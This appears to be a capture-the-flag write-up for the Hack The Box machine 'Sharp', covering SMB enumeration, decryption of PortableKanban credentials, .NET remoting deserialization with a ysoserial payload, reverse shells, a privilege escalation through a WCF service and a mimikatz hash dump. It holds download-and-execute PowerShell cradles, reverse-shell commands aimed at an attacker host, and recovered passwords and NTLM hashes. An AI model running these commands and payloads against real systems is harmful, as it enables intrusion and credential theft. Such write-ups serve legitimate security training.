Recon
- Port scan:
$ nmap -p- 10.10.10.219 > ports.nmap
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-04 17:09 ACDT Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn Nmap done: 1 IP address (0 hosts up) scanned in 3.08 seconds
Scan failed, retrying with host discovery disabled.
$ nmap -p- 10.10.10.219 -Pn >> ports.nmap
PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5985/tcp open wsman 8888/tcp open sun-answerbook 8889/tcp open ddi-tcp-2
- Targeted scan:
$ nmap -sC -sV -p 135,139,445,5985,8888,8889 10.10.10.219 -Pn > targeted.nmap
PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 8888/tcp open storagecraft-image StorageCraft Image Manager 8889/tcp open mc-nmf .NET Message Framing Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 24s | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-01-04T06:47:38 |_ start_date: N/A
RPC, SMB, HTTP/WinRM (?), StorageCraft Image Manager (?), .NET Message Framing.
Enumeration
HTTP enumeration with netcat:
- Connect to HTTP service:
$ nc 10.10.10.219 5985
GET / HTTP/1.1
HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Jan 2021 07:11:36 GMT Connection: close Content-Length: 334 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"> <HTML><HEAD><TITLE>Bad Request</TITLE> <META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD> <BODY><h2>Bad Request - Invalid Hostname</h2> <hr><p>HTTP Error 400. The request hostname is invalid.</p> </BODY></HTML>
- Header requires a hostname, let's try "sharp.htb" after adding its entry in
/etc/hosts
:$ nc 10.10.10.219 5985
GET / HTTP/1.1
Host: sharp.htb
HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Jan 2021 07:18:17 GMT Connection: close Content-Length: 315 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"> <HTML><HEAD><TITLE>Not Found</TITLE> <META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD> <BODY><h2>Not Found</h2> <hr><p>HTTP Error 404. The requested resource is not found.</p> </BODY></HTML>
- Voila, we can make a request! Let's see if /wsman exists:
$ nc 10.10.10.219 5985
POST /wsman HTTP/1.1
Host: sharp.htb
HTTP/1.1 411 Length Required Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Jan 2021 07:58:25 GMT Connection: close Content-Length: 344 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"> <HTML><HEAD><TITLE>Length Required</TITLE> <META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD> <BODY><h2>Length Required</h2> <hr><p>HTTP Error 411. The request must be chunked or have a content length.</p> </BODY></HTML>
- With the response, we can confirm that port 5985 is a WinRM service.
RPC enumeration with rpcclient:
- Connect to RPC with blank credentials:
$ rpcclient 10.10.10.219 -U "" -N
rpcclient $> _
- Anonymous logon is enabled, let's try to enumerate for machine info:
$ srvinfo
10.10.10.219 Wk Sv NT SNT platform_id : 500 os version : 10.0 server type : 0x9003
- No access to other modules, moving on.
SMB shares enumeration with smbclient:
- Connecting with guest account:
$ smbclient -L 10.10.10.219 -U guest%
session setup failed: NT_STATUS_ACCOUNT_DISABLED
- Guest account is disabled, let's try to list public shares with a null session:
$ smbclient -L 10.10.10.219 -N
Anonymous login successful Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share dev Disk IPC$ IPC Remote IPC kanban Disk SMB1 disabled -- no workgroup available
- Found shares of interest: dev, kanban
- Using
crackmapexec
to enumerate share permissions:$ crackmapexec smb 10.10.10.219 -u '' -p '' --shares
SMB 10.10.10.219 445 SHARP [*] Windows 10.0 Build 17763 x64 (name:SHARP) (domain:Sharp) (signing:False) (SMBv1:False) SMB 10.10.10.219 445 SHARP [-] Sharp\: STATUS_ACCESS_DENIED SMB 10.10.10.219 445 SHARP [+] Enumerated shares SMB 10.10.10.219 445 SHARP Share Permissions Remark SMB 10.10.10.219 445 SHARP ----- ----------- ------ SMB 10.10.10.219 445 SHARP ADMIN$ Remote Admin SMB 10.10.10.219 445 SHARP C$ Default share SMB 10.10.10.219 445 SHARP dev SMB 10.10.10.219 445 SHARP IPC$ Remote IPC SMB 10.10.10.219 445 SHARP kanban READ
- Seems like the null session was able to read the "kanban" share, so let's try to mount it:
$ mkdir mnt
$ sudo mount -t cifs -o username="",password="" //10.10.10.219/kanban ./mnt
mount error(13): Permission denied
- Strange, maybe mount is not parsing the quote marks correctly. Try again but with a blank credentials file this time:
$ echo -e "username=\npassword=" > creds.smb
$ sudo mount -t cifs -o credentials=./creds.smb //10.10.10.219/kanban ./mnt
- No errors, we can check the mount status by reading
/proc/mounts
:$ cat /proc/mounts | grep kanban
//10.10.10.219/kanban /home/samiko/Desktop/oscp-prep/HTB/Sharp/mnt cifs rw,relatime,vers=3.1.1,sec=none,cache=strict,uid=0,noforceuid,gid=0,noforcegid,addr=10.10.10.219,file_mode=0755,dir_mode=0755,soft,nounix,serverino,mapposix,rsize=4194304,wsize=4194304,bsize=1048576,echo_interval=60,actimeo=1 0 0
- The SMB share was mounted successfully, we can also make a local copy of the share for easier access and edit:
$ mkdir smb && cd smb && smbget -a -R smb://10.10.10.219/kanban
$ ls -la ./mnt
-rwxr-xr-x 1 root root 58368 Feb 27 2013 CommandLine.dll -rwxr-xr-x 1 root root 141312 Nov 9 2017 CsvHelper.dll -rwxr-xr-x 1 root root 456704 Jun 23 2016 DotNetZip.dll drwxr-xr-x 2 root root 0 Nov 15 05:27 Files -rwxr-xr-x 1 root root 23040 Nov 24 2017 Itenso.Rtf.Converter.Html.dll -rwxr-xr-x 1 root root 75776 Nov 24 2017 Itenso.Rtf.Interpreter.dll -rwxr-xr-x 1 root root 32768 Nov 24 2017 Itenso.Rtf.Parser.dll -rwxr-xr-x 1 root root 19968 Nov 24 2017 Itenso.Sys.dll -rwxr-xr-x 1 root root 376832 Nov 24 2017 MsgReader.dll -rwxr-xr-x 1 root root 133296 Jul 4 2014 Ookii.Dialogs.dll -rwxr-xr-x 1 root root 2558011 Nov 13 06:34 pkb.zip drwxr-xr-x 2 root root 0 Nov 13 06:35 Plugins -rwxr-xr-x 1 root root 5819 Nov 15 05:26 PortableKanban.cfg -rwxr-xr-x 1 root root 118184 Jan 5 2018 PortableKanban.Data.dll -rwxr-xr-x 1 root root 1878440 Jan 5 2018 PortableKanban.exe -rwxr-xr-x 1 root root 31144 Jan 5 2018 PortableKanban.Extensions.dll -rwxr-xr-x 1 root root 2080 Nov 15 05:26 PortableKanban.pk3 -rwxr-xr-x 1 root root 2080 Nov 15 05:25 PortableKanban.pk3.bak -rwxr-xr-x 1 root root 34 Nov 15 05:26 PortableKanban.pk3.md5 -rwxr-xr-x 1 root root 413184 Sep 6 2017 ServiceStack.Common.dll -rwxr-xr-x 1 root root 137216 Sep 6 2017 ServiceStack.Interfaces.dll -rwxr-xr-x 1 root root 292352 Sep 6 2017 ServiceStack.Redis.dll -rwxr-xr-x 1 root root 411648 Sep 6 2017 ServiceStack.Text.dll -rwxr-xr-x 1 root root 1050092 Jan 5 2018 'User Guide.pdf'
- Share contains setup files for PortableKanban, particular files of interest are:
PortableKanban.pk3
,PortableKanban.pk3.bak
,PortableKanban.cfg
,User Guide.pdf
PortableKanban.pk3
andPortableKanban.pk3.bak
are identical files:$ diff PortableKanban.pk3 PortableKanban.pk3.bak
- Found encrypted credentials in
PortableKanban.pk3
:"Users": [ { "Id":"e8e29158d70d44b1a1ba4949d52790a0", "Name":"Administrator", "Initials":"", "Email":"", "EncryptedPassword":"k+iUoOvQYG98PuhhRC7/rg==", "Role":"Admin", "Inactive":false, "TimeStamp":637409769245503731 }, { "Id":"0628ae1de5234b81ae65c246dd2b4a21", "Name":"lars", "Initials":"", "Email":"", "EncryptedPassword":"Ua3LyPFM175GN8D3+tqwLA==", "Role":"User", "Inactive":false, "TimeStamp":637409769265925613 } ]
- User's name is Lars.
- Found encrypted credentials:
Administrator:k+iUoOvQYG98PuhhRC7/rg==
lars:Ua3LyPFM175GN8D3+tqwLA==
- Encrypted password looks similar to base64 with the
==
padding at the end, though decoding did not yield anything. - Found possible machine name in
PortableKanban.cfg
:DESKTOP-86DR53S
Reversing PortableKanban.Data.dll with dotPeek:
- Found key and initialisation vector used for encrypting password in
Crypto.cs
:private static byte[] _rgbKey = Encoding.ASCII.GetBytes("7ly6UznJ"); private static byte[] _rgbIV = Encoding.ASCII.GetBytes("XuVUm5fR");
- Found
Encrypt
andDecrypt
functions inCrypto.cs
:public static string Encrypt(string originalString) { if (string.IsNullOrEmpty(originalString)) return string.Empty; try { DESCryptoServiceProvider cryptoServiceProvider = new DESCryptoServiceProvider(); MemoryStream memoryStream = new MemoryStream(); CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(Crypto._rgbKey, Crypto._rgbIV), CryptoStreamMode.Write); StreamWriter streamWriter = new StreamWriter((Stream) cryptoStream); streamWriter.Write(originalString); streamWriter.Flush(); cryptoStream.FlushFinalBlock(); streamWriter.Flush(); return Convert.ToBase64String(memoryStream.GetBuffer(), 0, (int) memoryStream.Length); } catch (Exception ex) { return string.Empty; } }
public static string Decrypt(string cryptedString) { try { if (string.IsNullOrEmpty(cryptedString)) return string.Empty; DESCryptoServiceProvider cryptoServiceProvider = new DESCryptoServiceProvider(); return new StreamReader((Stream) new CryptoStream((Stream) new MemoryStream(Convert.FromBase64String(cryptedString)), cryptoServiceProvider.CreateDecryptor(Crypto._rgbKey, Crypto._rgbIV), CryptoStreamMode.Read)).ReadToEnd(); } catch (Exception ex) { return string.Empty; } }
- The password is encrypted with DES, then encoded in base64.
- Since we know the key and IV, we can decrypt the passwords after decoding from base64 using CyberChef:
administrator:G2@$btRSHJYTarg
lars:G123HHrth234gRG
- Test credentials:
$ crackmapexec winrm 10.10.10.219 -u administrator -p G2@\$btRSHJYTarg
WINRM 10.10.10.219 5985 SHARP [*] Windows 10.0 Build 17763 (name:SHARP) (domain:Sharp) WINRM 10.10.10.219 5985 SHARP [*] http://10.10.10.219:5985/wsman WINRM 10.10.10.219 5985 SHARP [-] Sharp\administrator:G2@$btRSHJYTarg
$ crackmapexec winrm 10.10.10.219 -u lars -p G123HHrth234gRG
WINRM 10.10.10.219 5985 SHARP [*] Windows 10.0 Build 17763 (name:SHARP) (domain:Sharp) WINRM 10.10.10.219 5985 SHARP [*] http://10.10.10.219:5985/wsman WINRM 10.10.10.219 5985 SHARP [-] Sharp\lars:G123HHrth234gRG
$ crackmapexec smb 10.10.10.219 -u administrator -p G2@\$btRSHJYTarg --shares
SMB 10.10.10.219 445 SHARP [*] Windows 10.0 Build 17763 x64 (name:SHARP) (domain:Sharp) (signing:False) (SMBv1:False) SMB 10.10.10.219 445 SHARP [-] Sharp\administrator:G2@$btRSHJYTarg STATUS_LOGON_FAILURE SMB 10.10.10.219 445 SHARP [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
$ crackmapexec smb 10.10.10.219 -u lars -p G123HHrth234gRG --shares
SMB 10.10.10.219 445 SHARP [*] Windows 10.0 Build 17763 x64 (name:SHARP) (domain:Sharp) (signing:False) (SMBv1:False) SMB 10.10.10.219 445 SHARP [+] Sharp\lars:G123HHrth234gRG SMB 10.10.10.219 445 SHARP [+] Enumerated shares SMB 10.10.10.219 445 SHARP Share Permissions Remark SMB 10.10.10.219 445 SHARP ----- ----------- ------ SMB 10.10.10.219 445 SHARP ADMIN$ Remote Admin SMB 10.10.10.219 445 SHARP C$ Default share SMB 10.10.10.219 445 SHARP dev READ SMB 10.10.10.219 445 SHARP IPC$ READ Remote IPC SMB 10.10.10.219 445 SHARP kanban
- New SMB share access using Lars' credentials:
dev
,IPC$
Exploitation
Exploring developer SMB share:
- Mount into
dev
share:$ sudo mount -t cifs -o username=lars,password=G123HHrth234gRG //10.10.10.219/dev ./mnt
$ ls -la ./mnt
-rwxr-xr-x 1 root root 5632 Nov 15 20:55 Client.exe -rwxr-xr-x 1 root root 70 Nov 16 00:29 notes.txt -rwxr-xr-x 1 root root 4096 Nov 15 20:55 RemotingLibrary.dll -rwxr-xr-x 1 root root 6144 Nov 16 22:25 Server.exe
- Make local copy:
$ mkdir ./smb/dev && cp ./mnt/* ./smb/dev/
- Found
notes.txt
:Todo: Migrate from .Net remoting to WCF Add input validation
Reversing mysterious Client/Server application with dotPeek:
- Found endpoint and debug user credentials in decompiled
Client.exe
:private static void Main(string[] args) { ChannelServices.RegisterChannel((IChannel) new TcpChannel(), true); IDictionary channelSinkProperties = ChannelServices.GetChannelSinkProperties((object) (RemotingSample.Remoting) Activator.GetObject(typeof (RemotingSample.Remoting), "tcp://localhost:8888/SecretSharpDebugApplicationEndpoint")); channelSinkProperties[(object) "username"] = (object) "debug"; channelSinkProperties[(object) "password"] = (object) "SharpApplicationDebugUserPassword123!"; }
- Port 8888 has a secret .NET remoting endpoint:
tcp://localhost:8888/SecretSharpDebugApplicationEndpoint
- With debug credentials:
debug:SharpApplicationDebugUserPassword123!
Getting a reverse shell through .NET remoting service with ExploitRemotingService:
- Using nishang's
Invoke-PowerShellTcp
module, add a one-liner at the EOF to make the server trigger the reverse shell:Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.26 -Port 6969
- Now on a Windows VM, serialise the reverse shell payload with
ysoserial
:> .\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(new-object net.webclient).downloadstring('http://10.10.14.26/Invoke-PowerShellTcp.ps1')"
AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAGwvYyBwb3dlcnNoZWxsIC1jIElFWChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKCdodHRwOi8vMTAuMTAuMTQuMjYvSW52b2tlLVBvd2VyU2hlbGxUY3AucHMxJykGBwAAAANjbWQEBQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQdtZXRob2QwB21ldGhvZDEDAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCQgAAAAJCQAAAAkKAAAABAgAAAAwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BwAAAAR0eXBlCGFzc2VtYmx5BnRhcmdldBJ0YXJnZXRUeXBlQXNzZW1ibHkOdGFyZ2V0VHlwZU5hbWUKbWV0aG9kTmFtZQ1kZWxlZ2F0ZUVudHJ5AQECAQEBAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkGCwAAALACU3lzdGVtLkZ1bmNgM1tbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQYMAAAAS21zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQoGDQAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5Bg4AAAAaU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MGDwAAAAVTdGFydAkQAAAABAkAAAAvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIHAAAABE5hbWUMQXNzZW1ibHlOYW1lCUNsYXNzTmFtZQlTaWduYXR1cmUKU2lnbmF0dXJlMgpNZW1iZXJUeXBlEEdlbmVyaWNBcmd1bWVudHMBAQEBAQADCA1TeXN0ZW0uVHlwZVtdCQ8AAAAJDQAAAAkOAAAABhQAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGFQAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKAQoAAAAJAAAABhYAAAAHQ29tcGFyZQkMAAAABhgAAAANU3lzdGVtLlN0cmluZwYZAAAAK0ludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGGgAAADJTeXN0ZW0uSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKARAAAAAIAAAABhsAAABxU3lzdGVtLkNvbXBhcmlzb25gMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JDAAAAAoJDAAAAAkYAAAACRYAAAAKCw==
- Host the reverse shell on HTTP:
> python3 -m http.server 80
- Listen for a reverse connection on port 6969:
> .\nc64.exe -lvnp 6969
- Build and compile binaries for tyranid/ExploitRemotingService using Visual Studio, this will be used for exploiting CVE-2014-1806 and CVE-2014-4149 on the .NET remoting service.
- Send payload with
ExploitRemotingService
:> .\ExploitRemotingService.exe -v -s --user=debug --pass="SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw AAEAAAD...
- Ignoring casting errors:
System.InvalidCastException: Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'. at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel) at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)
- We get a HTTP request from the server:
Serving HTTP on :: port 80 (http://[::]:80/) ... ::ffff:10.10.10.219 - - [08/Jan/2021 19:36:42] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
- And at last, we have a shell as lars:
> whoami
sharp\lars
- Get user flag!
Privilege Escalation
- Lars has a folder called
WCF
in his~\Documents\
directory, which was mentioned earlier in\\10.10.10.219\dev\notes.txt
:Migrate from .Net remoting to WCF
- Windows Communication Foundation (WCF) is a framework for building service applications, which can send data as asynchronous messages from one service to another.
- Exploring the folder:
> ls C:\Users\lars\Documents\wcf
Directory: C:\Users\lars\Documents\wcf Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 11/15/2020 1:40 PM .vs d----- 11/15/2020 1:40 PM Client d----- 11/15/2020 1:40 PM packages d----- 11/15/2020 1:40 PM RemotingLibrary d----- 11/15/2020 1:41 PM Server -a---- 11/15/2020 12:47 PM 2095 wcf.sln
- This appears to be a Visual Studio project directory structure, as hinted by the
wcf.sln
file. - Running the
WcfClient.exe
in~/Documents/wcf/Client/bin/Release/
produces:> .\WcfClient.exe
DeviceID Free(GB) Total(GB) -------- -------- --------- C: 30.1521492004395 39.5097618103027 Physical Processors : 2 Logical Processors : 2 Total Memory(GB) : 3 Free Memory(GB) : 3
- Seems like it is used to remotely monitor system performance. Given that the service can access CPU info, it is also likely privileged.
- We can try to exploit the privileged code execution in the client program to have it spawn a reverse shell as root.
- Let's zip this directory up and copy it to the dev share, so we can bring it back to our local machine to look deeper:
> Compress-Archive -LiteralPath ~\Documents\wcf -DestinationPath C:\dev\wcf.zip
- Download .zip from
dev
share on our local machine:> net use X: \\10.10.10.219\dev
- Clean up after ourselves:
> rm C:\dev\wcf.zip
Exploring WCF client/server project files in Visual Studio:
- Found WCF endpoint under
Program.cs
of both client and server:new NetTcpBinding(SecurityMode.Transport),"net.tcp://localhost:8889/wcf/NewSecretWcfEndpoint" Uri baseAddress = new Uri("net.tcp://0.0.0.0:8889/wcf/NewSecretWcfEndpoint");
- Found unused InvokePowerShell() function under Remoting.cs of the RemotingLibrary:
public string InvokePowerShell(string scriptText) { Runspace runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); Pipeline pipeline = runspace.CreatePipeline(); pipeline.Commands.AddScript(scriptText); pipeline.Commands.Add("Out-String"); Collection <PSObject> results = pipeline.Invoke(); runspace.Close(); StringBuilder stringBuilder = new StringBuilder(); foreach (PSObject obj in results) { stringBuilder.AppendLine(obj.ToString()); } return stringBuilder.ToString(); }
- This means we can execute arbitrary code with privileged access. Under
Program.cs
of the client, add the following reverse shell payload:Console.WriteLine(client.InvokePowerShell("IEX (new-object net.webclient).downloadstring('http://10.10.14.26/Invoke-PowerShellTcp.ps1')"));
- Build the application and copy both
WcfClient.exe
andWcfRemotingLibrary.dll
to the HTTP server. - Since we are using the same reverse shell script, we will also need to change the reverse connection's port under
Invoke-PowerShellTcp.ps1
:Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.26 -Port 4204
- Listen for a reverse connection on port 4204:
> .\nc64.exe -lvnp 4204
- Changing the endpoint address from localhost to 10.10.10.219 did not connect, the server likely listens to localhost requests only.
- This means we need to upload the modified client and library back onto the machine, and run it locally there.
- Direct copy to SMB share failed, trying to transfer modified files with
certutil
:> certutil -urlcache -split -f "http://10.10.14.26/WcfClient.exe" WcfClient.exe
> certutil -urlcache -split -f "http://10.10.14.26/WcfRemotingLibrary.dll" WcfRemotingLibrary.dll
- Execute
WcfClient.exe
, and we get a reverse shell on port 4204 as system:> whoami /all
USER INFORMATION ---------------- User Name SID =================== ======== nt authority\system S-1-5-18 GROUP INFORMATION ----------------- Group Name Type SID Attributes ====================================== ================ ============ ================================================== BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group Mandatory Label\System Mandatory Level Label S-1-16-16384
- Shell seems to be unstable and collapses after a minute, as
WcfClient.exe
kills the connection on timeout. - Get root flag!
Persistence
- Get NTLM hash with
mimikatz
:> ./mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz(commandline) # privilege::debug Privilege '20' OK mimikatz(commandline) # token::elevate Token Id : 0 User name : SID name : NT AUTHORITY\SYSTEM 560 {0;000003e7} 1 D 34701 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary -> Impersonated ! * Process Token : {0;000003e7} 0 D 1597101 NT AUTHORITY\SYSTEM S-1-5-18 (04g,28p) Primary * Thread Token : {0;000003e7} 1 D 1617230 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation) mimikatz(commandline) # lsadump::sam Domain : SHARP SysKey : 16d3cbceb100e487ba2614447fede88d Local SID : S-1-5-21-294878639-2649470188-886412631 SAMKey : 058e78fa26734778bb823e660e3b0c25 RID : 000001f4 (500) User : Administrator Hash NTLM: 9e2ede4a0c81d4ca7630ef1e8d30afb7 RID : 000003ee (1006) User : debug Hash NTLM: 6c7d1f972008d581e788e7c24585d2bf RID : 000003ef (1007) User : lars Hash NTLM: e5852e8163e71de86599596375a22e5c